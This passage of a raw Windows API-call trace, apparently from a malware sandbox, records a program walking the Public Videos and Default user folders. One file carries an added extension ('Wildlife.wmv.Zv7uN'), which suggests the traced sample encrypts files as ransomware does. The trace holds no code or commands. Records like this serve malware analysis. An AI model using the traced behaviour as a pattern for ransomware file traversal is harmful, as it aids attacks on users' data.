hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.479] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 1 [0125.479] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.479] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.479] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 0 [0125.479] GetLastError () returned 0x12 [0125.479] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0125.479] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 0 [0125.479] GetLastError () returned 0x12 [0125.479] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.480] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0125.480] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.480] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.480] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.480] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.480] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.480] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.480] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.480] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58a6d220, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x58a6d220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0125.480] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58a6d220, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x58a6d220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0 [0125.481] GetLastError () returned 0x12 [0125.481] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.481] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.481] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.481] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.481] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.481] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.481] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.481] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.481] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58a6d220, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x58a6d220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0125.481] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.481] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.481] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58a6d220, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x58a6d220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0125.482] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58a6d220, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x58a6d220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.482] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.482] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0125.482] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.482] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x58a6d220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Wildlife.wmv.Zv7uN", cAlternateFileName="")) returned 1 [0125.482] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.482] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.482] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x58a6d220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Wildlife.wmv.Zv7uN", cAlternateFileName="")) returned 0 [0125.482] GetLastError () returned 0x12 [0125.482] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0125.482] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58a6d220, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x58a6d220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0125.483] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0125.483] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.483] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58a6d220, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x58a6d220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.483] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.483] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.483] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.483] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x58a6d220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Wildlife.wmv.Zv7uN", cAlternateFileName="")) returned 1 [0125.483] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.483] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.483] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x58a6d220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Wildlife.wmv.Zv7uN", cAlternateFileName="")) returned 0 [0125.483] GetLastError () returned 0x12 [0125.483] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0125.483] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58a6d220, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x58a6d220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0 [0125.483] GetLastError () returned 0x12 [0125.484] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.484] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0125.484] GetLastError () returned 0x12 [0125.484] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0125.484] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x18f4f8, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0125.484] GetFileAttributesW (lpFileName="C:\\Users\\Default" (normalized: "c:\\users\\default")) returned 0x13 [0125.484] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x18f4f8, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0125.484] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0125.484] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.485] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0125.485] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0125.485] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0125.485] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0125.485] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0125.485] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0125.485] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0125.485] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0125.485] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0125.485] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0125.485] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, 